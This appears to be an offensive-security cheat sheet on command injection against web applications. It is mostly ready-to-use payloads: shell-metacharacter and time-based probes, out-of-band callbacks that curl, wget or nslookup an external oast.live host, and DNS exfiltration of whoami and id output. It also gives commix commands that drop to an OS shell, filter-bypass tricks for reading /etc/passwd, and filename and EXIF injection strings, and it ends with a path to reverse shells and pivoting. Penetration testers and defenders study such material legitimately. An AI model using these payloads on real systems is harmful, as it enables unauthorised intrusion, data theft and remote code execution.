Command Injection

Sections Command Injection

User input ends up in a shell command. The fastest path from web bug to shell.

T=https://target.com

i. Where it lives

Endpoints that obviously call OS commands:

  • Ping / traceroute / nslookup / whois tools
  • Image conversion (ImageMagick, Ghostscript, libreoffice, ffmpeg)
  • PDF generation (wkhtmltopdf, pdfkit, weasyprint, headless Chrome)
  • File rename, archive extract (tar, unzip, 7z)
  • Backup / export / “send report” features
  • Network diagnostics (any “test connectivity”)
  • Log viewers calling grep / tail on disk

Less obvious:

  • Filename in upload endpoint (often passed unsanitized to mv / chmod / convert)
  • User-Agent / Referer logged via shell scripts
  • Health check endpoints calling external tools
  • Crontab-style “scheduled task” features
  • Image EXIF processing that shells out
  • Anywhere a “fancy” feature suggests calling external tooling

Signal that a feature shells out: response latency disproportionate to the work, log messages mentioning binary names, error messages with stderr fragments.

ii. Detection

The classic test set (URL-encode as needed):

;id
|id
&id
&&id
||id
`id`
$(id)
%0aid       (newline)
%0did       (carriage return)
%26id       (encoded &)
%7cid       (encoded |)

Inside double quotes:

"$(id)"
"`id`"

Inside single quotes (harder, often needs to break out):

';id;'
';id;#

When response doesn’t change visibly, switch to time-based:

;sleep 5
|sleep 5
$(sleep 5)
`sleep 5`
& ping -c 5 127.0.0.1

Or OOB (the most reliable for blind):

;curl http://abc.oast.live/
$(curl http://abc.oast.live/x)
`wget http://abc.oast.live/y`
;nslookup abc.oast.live

iii. interactsh + Burp Collaborator

OAST is the default for blind detection. Spin up a listener:

interactsh-client
## Or use the public service:
interactsh-client -s https://oast.live
## Or Burp Collaborator from inside Burp

Every payload includes the OAST hostname. When the target shells out, you see the inbound DNS / HTTP in your interactsh terminal.

iv. commix

The sqlmap of command injection. Automates detection, exploitation, shell upgrade.

## URL parameter:
commix -u "$T/ping?ip=127.0.0.1" --batch
## POST body:
commix -u "$T/api/ping" --data 'ip=127.0.0.1' --batch
## Header:
commix -u "$T/" --headers='User-Agent: test*' --batch
## Cookie:
commix -u "$T/" --cookie 'session=abc;ip=127.0.0.1*' --batch
## From Burp request:
commix -r request.txt --batch

Useful flags:

--os=unix             ## skip OS detection
--technique=tT        ## t=time-based, T=time-based file-based, c=classic, e=eval-based
--prefix=';' --suffix='#'
--all                 ## try every technique
--os-cmd=id           ## one-shot command
--shellshock          ## try Shellshock (legacy CVE-2014-6271)
--proxy=http://127.0.0.1:8080
--tor                 ## via tor proxy

Drop to a shell when commix confirms:

commix -u "$T/ping?ip=127.0.0.1" --batch --os-shell

v. Fuzzing many params at once

When you have a list of endpoints and want quick scoping:

ffuf -u "$T/api/FUZZ?val=%3Bcurl%20http%3A%2F%2Fabc.oast.live" \
  -w endpoints.txt -mc all
## Then watch interactsh for hits

Nuclei has command-injection templates that test common patterns:

nuclei -u "$T" -tags rce,cmdi -t http/cves/ -t http/vulnerabilities/

vi. Bypass tricks when input is filtered

When obvious chars (;, |, &) are stripped or quoted:

No spaces

${IFS}            ## bash internal field separator = space-equivalent
$IFS$9            ## alternative form
{cmd,arg1,arg2}   ## brace expansion separator
<                 ## redirect-style: cmd</etc/passwd

No slash (when / filtered)

${PATH:0:1}                 ## first char of $PATH = /
$(echo${IFS}-e${IFS}'\x2f') ## hex /

No keywords (id, cat, ls filtered)

i\d         ## backslash inside double quotes is OK
'i'd        ## single quote breaks string but keeps content
'i''d       ## concatenated literals
"$(echo aWQ=|base64 -d)"   ## base64 decode

No quotes

$(printf "%s" id)
$(echo aWQ= | base64 -d)

Bashfuscator for heavy obfuscation

bashfuscator -c 'id' -s 1
## generates a heavily obfuscated equivalent

Globbing for path bypass

/???/??t /etc/passwd     ## /bin/cat /etc/passwd
/usr/bin/c*t /etc/passwd

vii. Language-specific gotchas

Different runtimes have different injection sinks. Identification + sink table:

PHP:

  • system(), exec(), shell_exec(), passthru(), popen(), proc_open()
  • Backticks: `cmd`
  • assert() with user input = code execution
  • preg_replace('/foo/e', $userinput) (e modifier, legacy, still found)

Node.js:

  • child_process.exec(userinput) → most dangerous (uses shell)
  • child_process.execSync(), spawn() with shell:true
  • eval(), Function(), vm.runInNewContext()
  • Template literal injection in shell helpers (e.g. shelljs)

Python:

  • os.system(), os.popen(), subprocess.Popen(shell=True)
  • eval(), exec(), compile()
  • pickle.loads() with user input → see WEB14 Deserialization
  • f-string SQL/shell building

Ruby:

  • system(), exec(), eval()
  • Backticks: `cmd`
  • %x{cmd}
  • IO.popen(userinput)
  • Kernel.eval(YAML.load(input))

Java:

  • Runtime.getRuntime().exec(userinput) - note: NO shell by default, so chaining (;, &&) doesn’t work unless input is passed to bash -c
  • ProcessBuilder(userinput).start()
  • Runtime.exec(new String[]{"sh","-c",userinput}) is the dangerous variant

Perl:

  • system(), exec(), backticks
  • open(F, "| $userinput") pipe-to-command via open
  • qx//

viii. ImageMagick (CVE-2016-3714 and variants)

ImageTragick is old but still hits. Test by uploading a crafted file:

## MSL/MVG polyglot, ImageMagick processes the file:
## (see PayloadsAllTheThings/Insecure Magick)

ImageMagick + Ghostscript chain is still active in 2025. Look for any image upload that’s converted server-side (thumbnails, format conversion).

ix. EXIF + filename tricks

When the app processes uploaded files:

## Filename-based:
mv $(printf 'a;id;.jpg')   ## if app does `convert "$filename" out.png`
exiftool -Comment='$(id)' x.jpg     ## if EXIF is read into a shell command later

x. Tricks worth knowing

Output redirection when there’s no obvious response

The command runs but you can’t see output. Write output to a webroot-readable file:

;id>/var/www/html/r.txt
;id>/tmp/r;cat /tmp/r

DNS exfil for tiny outputs

When the output is small (1-2 lines) and HTTP egress is blocked:

;nslookup `whoami`.oast.live
;dig $(id|base64|head -1).oast.live

Use OAST for confirmation, then in-band for extraction

First confirm injection via OAST DNS (works in nearly all environments). Then escalate to direct shell.

When \n works but ; doesn’t

URL-encode newline: %0a. Lots of apps strip semicolons but pass newlines through:

?host=127.0.0.1%0aid
?host=127.0.0.1%0acurl%20http://oast.live/

Filename with backticks via multipart upload

Some upload handlers shell out for thumbnailing without quoting:

filename="x;id #.jpg"
filename="x`id`.jpg"
filename="$(id).jpg"

xi. References

xii. Where it leads

Once id returns output (or sleeps confirm via OAST), it’s full RCE in the web server’s context. Standard next steps:

  1. Get a stable callback via Reverse Shells
  2. Land on the host → 03 Shell & Tooling → TTY upgrade
  3. Local enum → 05 Local Enum
  4. Pivot deeper if on cloud → Cloud Recon for metadata endpoints